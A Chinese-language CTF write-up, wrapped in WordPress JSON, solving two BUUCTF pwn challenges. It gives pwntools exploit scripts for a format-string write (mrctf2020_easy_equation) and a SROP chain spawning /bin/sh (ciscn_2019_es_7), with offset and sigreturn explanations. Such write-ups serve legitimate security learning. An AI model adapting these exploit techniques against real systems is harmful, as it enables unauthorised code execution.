{"id":305,"date":"2025-07-30T15:17:50","date_gmt":"2025-07-30T07:17:50","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=305"},"modified":"2025-07-30T15:17:51","modified_gmt":"2025-07-30T07:17:51","slug":"buuctfmrctf2020_easy_equation%e3%80%81ciscn_2019_es_7","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/30\/buuctfmrctf2020_easy_equation%e3%80%81ciscn_2019_es_7\/","title":{"rendered":"buuctf:mrctf2020_easy_equation\u3001ciscn_2019_es_7"},"content":{"rendered":"\n


1\u3001mrctf2020_easy_equation\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


64\u4f4d\u5f00\u4e86NX<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4eec\u9700\u8981\u4fee\u6539juge\u7684\u503c<\/p>\n\n\n\n

\u5e94\u8be5\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u4e86\uff0c\u770b\u4e00\u4e0b\u504f\u79fb<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u5e76\u6ca1\u6709\u5bf9\u9f50\u6211\u4eec\u52a01\u4e2ab<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u504f\u79fb\u662f8\uff0c\u540e\u9762\u5c31\u662f\u4fee\u6539juge,\u8ba1\u7b97\u4e00\u4e0b\u662f\uff0c\u5509\uff0c\u8ba8\u538c\u6570\u5b57\uff0c\u5b66\u7740\u62ffpython\u8d4b\u503c\u6cd5\u7b97<\/p>\n\n\n\n

for judge in range(0,100):\n    if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ):\n        print(judge)\n        break<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u662f2\uff0c\u90a3\u5c31\u628a\u5b83\u6539\u4e3a2<\/p>\n\n\n\n
2\u3001mrctf2020_easy_equation<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29361)\n\njudge=0x60105C\npayload=b'bb%8$n'+p64(judge)\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u5bf9\u5417\uff1f\u88ab\u622a\u65ad\u4e86\uff0c\u90a3\u5c319<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29361)\n\njudge=0x60105C\npayload=b'bb%9$naaa'+p64(judge)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4e0d\u53ef\u4ee5\u76f4\u63a5\/bin\/sh\u554a\uff0c\u770b\u5230\u6709\u5e08\u5085\u8fd9\u6837\u505a\u8bd5\u4e86\u4e00\u4e0b<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29361)\n\n#judge=0x60105C\nbinsh=0x4006D0\npayload=b'a'*9+p64(binsh)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001ciscn_2019_es_7\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

64\u4f4dNX\uff0c\u8fd9\u4e2a\u76f4\u63a5\u770b\u6c47\u7f16\u8981\u597d\u4e00\u4e9b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u770b\u8fd9\u4e2a\u5c31\u77e5\u9053\u4e86\uff0c\u6709\u719f\u6089\u7684\u8eab\u5f71\u54e6\uff0c3bh\u5c31\u662f59\u8c03\u7528execve\uff0c0fh\u662f15\u8c03\u7528sigretrn,\u590d\u4e60\u4e00\u4e0b\u8981\u8bbe\u7f6e\u7684\u5bc4\u5b58\u5668\uff0crdi=’\/bin\/sh’\uff0crsi=null,rdx=null<\/p>\n\n\n\n
\u6211\u4eec\u8fd8\u662f\u5b66\u4e60\u4e00\u4e0b\u5229\u7528\u539f\u7406\uff1a<\/p>\n\n\n\n
\u5185\u6838\u5728signal\u4fe1\u53f7\u7684\u5904\u7406\u8fc7\u7a0b\u4e2d\u4e3b\u8981\u5de5\u4f5c\u662f\u4e3a\u8fdb\u7a0b\u4fdd\u5b58\u5e76\u6062\u590d\u4e0a\u4e0b\u6587\uff0c\u8fd9\u4e9b\u7684\u4e3b\u8981\u53d8\u52a8\u5728signal frame\u4e2d\uff0c\u5b83\u88ab\u4fdd\u5b58\u5728\u5730\u5740\u7a7a\u95f4\u4e2d\uff0c\u53ef\u4ee5\u8bfb\u5199\uff0c\u6240\u4ee5\u5728\u6267\u884csigreturn\u65f6\uff0csignal frame\u5e76\u4e0d\u4e00\u5b9a\u662f\u4e4b\u524d\u90a3\u4e2a<\/p>\n\n\n\n
\u538b\u6808\u4ee5\u540e\uff0cret_sigreturn\u6307\u5411\u7684\u5c31\u662f\u7cfb\u7edf\u8c03\u7528sigreturn,\u5b8c\u6210\u538b\u6808\u4ee5\u540e\u8fd9\u6bb5\u5185\u5b58\u88ab\u79f0\u4e3asignal frame<\/p>\n\n\n\n
\u7531\u4e8e\u6211\u4eec\u8981\u8f93\u5165\u5b57\u7b26\u4e32\uff0c\u5728\u54ea\u91cc\u8f93\u5165\u5462\uff0c\u9700\u8981\u77e5\u9053\u6808\u4e0a\u7684\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u6cc4\u9732\u4e00\u4e2a\u6808\u5730\u5740\u7b97\u4e00\u4e0b\u504f\u79fb<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28607)\n#p=process(\".\/ciscn_2019_es_7\")\n\nvuln=0x4004F1\npayload=b'\/bin\/sh'.ljust(0x10,b'\\x00')+p64(vuln)\np.sendline(payload)\np.recv(0x20)\nleak=u64(p.recv(8))\nprint(hex(leak))\n#gdb.attach(p)\np.interactive()<\/code><\/pre>\n\n\n\n
\u5509\uff0c\u627e\u6b7b\u6211\u4e86\uff0c\u5dee\u70b9\u4e0d\u60f3\u505a\u4e86\uff0c\u54b1\u786e\u5b9e\u662f\u73af\u5883\u6709\u70b9\u95ee\u9898\uff08\u83dc\u6b7b\u4e86\uff09\uff0c\u770b\u770b\u6b63\u5e38\u7684\u504f\u79fb\u662f0x118,\u63a5\u7740\u628a\u5b83\u505a\u5b8c\u5427<\/p>\n\n\n\n
4\u3001\u54ed\u51faflag<\/h2>\n\n\n\n
\u5229\u7528pwntools\u7684sigreturnFrame()\u529f\u80fd<\/p>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",28607)\n#p=process(\".\/ciscn_2019_es_7\")\n\nvuln=0x4004F1\npayload=b'\/bin\/sh'.ljust(0x10,b'\\x00')+p64(vuln)\np.sendline(payload)\np.recv(0x20)\nleak=u64(p.recv(8))\nprint(hex(leak))\n#gdb.attach(p)\n\nsyscall=0x400501\nsigreturn=0x4004DA\nsigframe=SigreturnFrame()\nsigframe.rax=constants.SYS_execve\nsigframe.rdi=leak-0x118\nsigframe.rsi=0\nsigframe.rdx=0\nsigframe.rsp=leak\nsigframe.rip=syscall\npayload=b'\/bin\/sh\\x00'+p64(0)+p64(sigreturn)+p64(syscall)+bytes(sigframe)\n#payload=b'\/bin\/sh\\x00'.ljust(0x10,b'\\x00')+p64(sigreturn)+p64(syscall)+bytes(sigframe)\np.sendline(payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6cea\u76ee……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001mrctf2020_easy_equation\u5206\u6790 64\u4f4d\u5f00\u4e86NX \u4eec\u9700\u8981\u4fee\u6539juge\u7684\u503c \u5e94\u8be5\u662f\u683c\u5f0f\u5316\u5b57 […]<\/p>\n","protected":false},"author":1,"featured_media":320,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-305","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/305","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=305"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/305\/revisions"}],"predecessor-version":[{"id":321,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/305\/revisions\/321"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/320"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=305"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=305"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}